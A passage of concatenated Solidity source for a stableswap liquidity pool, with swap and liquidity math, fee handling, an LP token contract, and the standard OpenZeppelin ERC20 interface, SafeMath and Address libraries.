overflow! } prevD = d; d = nA .mul(s) .div(AmplificationUtils.A_PRECISION) .add(dP.mul(numTokens)) .mul(d) .div( nA .sub(AmplificationUtils.A_PRECISION) .mul(d) .div(AmplificationUtils.A_PRECISION) .add(numTokens.add(1).mul(dP)) ); if (d.within1(prevD)) { return d; } } // Convergence should occur in 4 loops or less. If this is reached, there may be something wrong // with the pool. If this were to occur repeatedly, LPs should withdraw via `removeLiquidity()` // function which does not rely on D. revert("D does not converge"); } /** * @notice Given a set of balances and precision multipliers, return the * precision-adjusted balances. * * @param balances an array of token balances, in their native precisions. * These should generally correspond with pooled tokens. * * @param precisionMultipliers an array of multipliers, corresponding to * the amounts in the balances array. When multiplied together they * should yield amounts at the pool's precision. * * @return an array of amounts "scaled" to the pool's precision */ function _xp( uint256[] memory balances, uint256[] memory precisionMultipliers ) internal pure returns (uint256[] memory) { uint256 numTokens = balances.length; require( numTokens == precisionMultipliers.length, "Balances must match multipliers" ); uint256[] memory xp = new uint256[](numTokens); for (uint256 i = 0; i < numTokens; i++) { xp[i] = balances[i].mul(precisionMultipliers[i]); } return xp; } /** * @notice Return the precision-adjusted balances of all tokens in the pool * @param self Swap struct to read from * @return the pool balances "scaled" to the pool's precision, allowing * them to be more easily compared. */ function _xp(Swap storage self) internal view returns (uint256[] memory) { return _xp(self.balances, self.tokenPrecisionMultipliers); } /** * @notice Get the virtual price, to help calculate profit * @param self Swap struct to read from * @return the virtual price, scaled to precision of POOL_PRECISION_DECIMALS */ function getVirtualPrice(Swap storage self) external view returns (uint256) { uint256 d = getD(_xp(self), _getAPrecise(self)); LPToken lpToken = self.lpToken; uint256 supply = lpToken.totalSupply(); if (supply > 0) { return d.mul(10**uint256(POOL_PRECISION_DECIMALS)).div(supply); } return 0; } /** * @notice Calculate the new balances of the tokens given the indexes of the token * that is swapped from (FROM) and the token that is swapped to (TO). * This function is used as a helper function to calculate how much TO token * the user should receive on swap. * * @param preciseA precise form of amplification coefficient * @param tokenIndexFrom index of FROM token * @param tokenIndexTo index of TO token * @param x the new total amount of FROM token * @param xp balances of the tokens in the pool * @return the amount of TO token that should remain in the pool */ function getY( uint256 preciseA, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp ) internal pure returns (uint256) { uint256 numTokens = xp.length; require( tokenIndexFrom != tokenIndexTo, "Can't compare token to itself" ); require( tokenIndexFrom < numTokens && tokenIndexTo < numTokens, "Tokens must be in pool" ); uint256 d = getD(xp, preciseA); uint256 c = d; uint256 s; uint256 nA = numTokens.mul(preciseA); uint256 _x; for (uint256 i = 0; i < numTokens; i++) { if (i == tokenIndexFrom) { _x = x; } else if (i != tokenIndexTo) { _x = xp[i]; } else { continue; } s = s.add(_x); c = c.mul(d).div(_x.mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } c = c.mul(d).mul(AmplificationUtils.A_PRECISION).div(nA.mul(numTokens)); uint256 b = s.add(d.mul(AmplificationUtils.A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; // iterative approximation for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Externally calculates a swap between two tokens. * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get */ function calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256 dy) { (dy, ) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, self.balances ); } /** * @notice Internally calculates a swap between two tokens. * * @dev The caller is expected to transfer the actual amounts (dx and dy) * using the token contracts. * * @param self Swap struct to read from * @param tokenIndexFrom the token to sell * @param tokenIndexTo the token to buy * @param dx the number of tokens to sell. If the token charges a fee on transfers, * use the amount that gets transferred after the fee. * @return dy the number of tokens the user will get * @return dyFee the associated fee */ function _calculateSwap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256[] memory balances ) internal view returns (uint256 dy, uint256 dyFee) { uint256[] memory multipliers = self.tokenPrecisionMultipliers; uint256[] memory xp = _xp(balances, multipliers); require( tokenIndexFrom < xp.length && tokenIndexTo < xp.length, "Token index out of range" ); uint256 x = dx.mul(multipliers[tokenIndexFrom]).add(xp[tokenIndexFrom]); uint256 y = getY( _getAPrecise(self), tokenIndexFrom, tokenIndexTo, x, xp ); dy = xp[tokenIndexTo].sub(y).sub(1); dyFee = dy.mul(self.swapFee).div(FEE_DENOMINATOR); dy = dy.sub(dyFee).div(multipliers[tokenIndexTo]); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of * LP tokens * * @param amount the amount of LP tokens that would to be burned on * withdrawal * @return array of amounts of tokens user will receive */ function calculateRemoveLiquidity(Swap storage self, uint256 amount) external view returns (uint256[] memory) { return _calculateRemoveLiquidity( self.balances, amount, self.lpToken.totalSupply() ); } function _calculateRemoveLiquidity( uint256[] memory balances, uint256 amount, uint256 totalSupply ) internal pure returns (uint256[] memory) { require(amount <= totalSupply, "Cannot exceed total supply"); uint256[] memory amounts = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { amounts[i] = balances[i].mul(amount).div(totalSupply); } return amounts; } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param self Swap struct to read from * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return if deposit was true, total amount of lp token that will be minted and if * deposit was false, total amount of lp token that will be burned */ function calculateTokenAmount( Swap storage self, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { uint256 a = _getAPrecise(self); uint256[] memory balances = self.balances; uint256[] memory multipliers = self.tokenPrecisionMultipliers; uint256 d0 = getD(_xp(balances, multipliers), a); for (uint256 i = 0; i < balances.length; i++) { if (deposit) { balances[i] = balances[i].add(amounts[i]); } else { balances[i] = balances[i].sub( amounts[i], "Cannot withdraw more than available" ); } } uint256 d1 = getD(_xp(balances, multipliers), a); uint256 totalSupply = self.lpToken.totalSupply(); if (deposit) { return d1.sub(d0).mul(totalSupply).div(d0); } else { return d0.sub(d1).mul(totalSupply).div(d0); } } /** * @notice return accumulated amount of admin fees of the token with given index * @param self Swap struct to read from * @param index Index of the pooled token * @return admin balance in the token's precision */ function getAdminBalance(Swap storage self, uint256 index) external view returns (uint256) { require(index < self.pooledTokens.length, "Token index out of range"); return self.pooledTokens[index].balanceOf(address(this)).sub( self.balances[index] ); } /** * @notice internal helper function to calculate fee per token multiplier used in * swap fee calculations * @param swapFee swap fee for the tokens * @param numTokens number of tokens pooled */ function _feePerToken(uint256 swapFee, uint256 numTokens) internal pure returns (uint256) { return swapFee.mul(numTokens).div(numTokens.sub(1).mul(4)); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param self Swap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { { IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom]; require( dx <= tokenFrom.balanceOf(msg.sender), "Cannot swap more than you own" ); // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = tokenFrom.balanceOf(address(this)); tokenFrom.safeTransferFrom(msg.sender, address(this), dx); // Use the actual transferred amount for AMM math dx = tokenFrom.balanceOf(address(this)).sub(beforeBalance); } uint256 dy; uint256 dyFee; uint256[] memory balances = self.balances; (dy, dyFee) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, dx, balances ); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div( self.tokenPrecisionMultipliers[tokenIndexTo] ); self.balances[tokenIndexFrom] = balances[tokenIndexFrom].add(dx); self.balances[tokenIndexTo] = balances[tokenIndexTo].sub(dy).sub( dyAdminFee ); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap(msg.sender, dx, dy, tokenIndexFrom, tokenIndexTo); return dy; } /** * @notice Add liquidity to the pool * @param self Swap struct to read from and write to * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored. * @return amount of LP token user received */ function addLiquidity( Swap storage self, uint256[] memory amounts, uint256 minToMint ) external returns (uint256) { IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts must match pooled tokens" ); // current state ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, _getAPrecise(self), self.lpToken, 0, self.balances, self.tokenPrecisionMultipliers ); v.totalSupply = v.lpToken.totalSupply(); if (v.totalSupply != 0) { v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA); } uint256[] memory newBalances = new uint256[](pooledTokens.length); for (uint256 i = 0; i < pooledTokens.length; i++) { require( v.totalSupply != 0 || amounts[i] > 0, "Must supply all tokens in pool" ); // Transfer tokens first to see if a fee was charged on transfer if (amounts[i] != 0) { uint256 beforeBalance = pooledTokens[i].balanceOf( address(this) ); pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i] ); // Update the amounts[] with actual transfer amount amounts[i] = pooledTokens[i].balanceOf(address(this)).sub( beforeBalance ); } newBalances[i] = v.balances[i].add(amounts[i]); } // invariant after change v.d1 = getD(_xp(newBalances, v.multipliers), v.preciseA); require(v.d1 > v.d0, "D should increase"); // updated to reflect fees and calculate the user's LP tokens v.d2 = v.d1; uint256[] memory fees = new uint256[](pooledTokens.length); if (v.totalSupply != 0) { uint256 feePerToken = _feePerToken( self.swapFee, pooledTokens.length ); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); newBalances[i] = newBalances[i].sub(fees[i]); } v.d2 = getD(_xp(newBalances, v.multipliers), v.preciseA); } else { // the initial depositor doesn't pay fees self.balances = newBalances; } uint256 toMint; if (v.totalSupply == 0) { toMint = v.d1; } else { toMint = v.d2.sub(v.d0).mul(v.totalSupply).div(v.d0); } require(toMint >= minToMint, "Couldn't mint min requested"); // mint the user's LP tokens v.lpToken.mint(msg.sender, toMint); emit AddLiquidity( msg.sender, amounts, fees, v.d1, v.totalSupply.add(toMint) ); return toMint; } /** * @notice Burn LP tokens to remove liquidity from the pool. * @dev Liquidity can always be removed, even when the pool is paused. * @param self Swap struct to read from and write to * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @return amounts of tokens the user received */ function removeLiquidity( Swap storage self, uint256 amount, uint256[] calldata minAmounts ) external returns (uint256[] memory) { LPToken lpToken = self.lpToken; IERC20[] memory pooledTokens = self.pooledTokens; require(amount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require( minAmounts.length == pooledTokens.length, "minAmounts must match poolTokens" ); uint256[] memory balances = self.balances; uint256 totalSupply = lpToken.totalSupply(); uint256[] memory amounts = _calculateRemoveLiquidity( balances, amount, totalSupply ); for (uint256 i = 0; i < amounts.length; i++) { require(amounts[i] >= minAmounts[i], "amounts[i] < minAmounts[i]"); self.balances[i] = balances[i].sub(amounts[i]); pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } lpToken.burnFrom(msg.sender, amount); emit RemoveLiquidity(msg.sender, amounts, totalSupply.sub(amount)); return amounts; } /** * @notice Remove liquidity from the pool all in one token. * @param self Swap struct to read from and write to * @param tokenAmount the amount of the lp tokens to burn * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @return amount chosen token that user received */ function removeLiquidityOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { LPToken lpToken = self.lpToken; IERC20[] memory pooledTokens = self.pooledTokens; require(tokenAmount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require(tokenIndex < pooledTokens.length, "Token not found"); uint256 totalSupply = lpToken.totalSupply(); (uint256 dy, uint256 dyFee) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, totalSupply ); require(dy >= minAmount, "dy < minAmount"); self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); lpToken.burnFrom(msg.sender, tokenAmount); pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); return dy; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * * @param self Swap struct to read from and write to * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @return actual amount of LP tokens burned in the withdrawal */ function removeLiquidityImbalance( Swap storage self, uint256[] memory amounts, uint256 maxBurnAmount ) public returns (uint256) { ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, _getAPrecise(self), self.lpToken, 0, self.balances, self.tokenPrecisionMultipliers ); v.totalSupply = v.lpToken.totalSupply(); IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts should match pool tokens" ); require( maxBurnAmount <= v.lpToken.balanceOf(msg.sender) && maxBurnAmount != 0, ">LP.balanceOf" ); uint256 feePerToken = _feePerToken(self.swapFee, pooledTokens.length); uint256[] memory fees = new uint256[](pooledTokens.length); { uint256[] memory balances1 = new uint256[](pooledTokens.length); v.d0 = getD(_xp(v.balances, v.multipliers), v.preciseA); for (uint256 i = 0; i < pooledTokens.length; i++) { balances1[i] = v.balances[i].sub( amounts[i], "Cannot withdraw more than available" ); } v.d1 = getD(_xp(balances1, v.multipliers), v.preciseA); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(v.balances[i]).div(v.d0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); balances1[i] = balances1[i].sub(fees[i]); } v.d2 = getD(_xp(balances1, v.multipliers), v.preciseA); } uint256 tokenAmount = v.d0.sub(v.d2).mul(v.totalSupply).div(v.d0); require(tokenAmount != 0, "Burnt amount cannot be zero"); tokenAmount = tokenAmount.add(1); require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount"); v.lpToken.burnFrom(msg.sender, tokenAmount); for (uint256 i = 0; i < pooledTokens.length; i++) { pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, v.d1, v.totalSupply.sub(tokenAmount) ); return tokenAmount; } /** * @notice withdraw all admin fees to a given address * @param self Swap struct to withdraw fees from * @param to Address to send the fees to */ function withdrawAdminFees(Swap storage self, address to) external { IERC20[] memory pooledTokens = self.pooledTokens; for (uint256 i = 0; i < pooledTokens.length; i++) { IERC20 token = pooledTokens[i]; uint256 balance = token.balanceOf(address(this)).sub( self.balances[i] ); if (balance != 0) { token.safeTransfer(to, balance); } } } /** * @notice Sets the admin fee * @dev adminFee cannot be higher than 100% of the swap fee * @param self Swap struct to update * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(Swap storage self, uint256 newAdminFee) external { require(newAdminFee <= MAX_ADMIN_FEE, "Fee is too high"); self.adminFee = newAdminFee; emit NewAdminFee(newAdminFee); } /** * @notice update the swap fee * @dev fee cannot be higher than 1% of each swap * @param self Swap struct to update * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(Swap storage self, uint256 newSwapFee) external { require(newSwapFee <= MAX_SWAP_FEE, "Fee is too high"); self.swapFee = newSwapFee; emit NewSwapFee(newSwapFee); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "./interfaces/ISwap.sol"; /** * @title Liquidity Provider Token * @notice This token is an ERC20 detailed token with added capability to be minted by the owner. * It is used to represent user's shares when providing liquidity to swap contracts. * @dev Only Swap contracts should initialize and own LPToken contracts. */ contract LPToken is ERC20BurnableUpgradeable, OwnableUpgradeable { using SafeMathUpgradeable for uint256; /** * @notice Initializes this LPToken contract with the given name and symbol * @dev The caller of this function will become the owner. A Swap contract should call this * in its initializer function. * @param name name of this token * @param symbol symbol of this token */ function initialize(string memory name, string memory symbol) external initializer returns (bool) { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); __Ownable_init_unchained(); return true; } /** * @notice Mints the given amount of LPToken to the recipient. * @dev only owner can call this mint function * @param recipient address of account to receive the tokens * @param amount amount of tokens to mint */ function mint(address recipient, uint256 amount) external onlyOwner { require(amount != 0, "LPToken: cannot mint 0"); _mint(recipient, amount); } /** * @dev Overrides ERC20._beforeTokenTransfer() which get called on every transfers including * minting and burning. This ensures that Swap.updateUserWithdrawFees are called everytime. * This assumes the owner is set to a Swap contract's address. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC20Upgradeable) { super._beforeTokenTransfer(from, to, amount); require(to != address(this), "LPToken: cannot send to itself"); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title MathUtils library * @notice A library to be used in conjunction with SafeMath. Contains functions for calculating * differences between two uint256. */ library MathUtils { /** * @notice Compares a and b and returns true if the difference between a and b * is less than 1 or equal to each other. * @param a uint256 to compare with * @param b uint256 to compare with * @return True if the difference between a and b is less than 1 or equal, * otherwise return false */ function within1(uint256 a, uint256 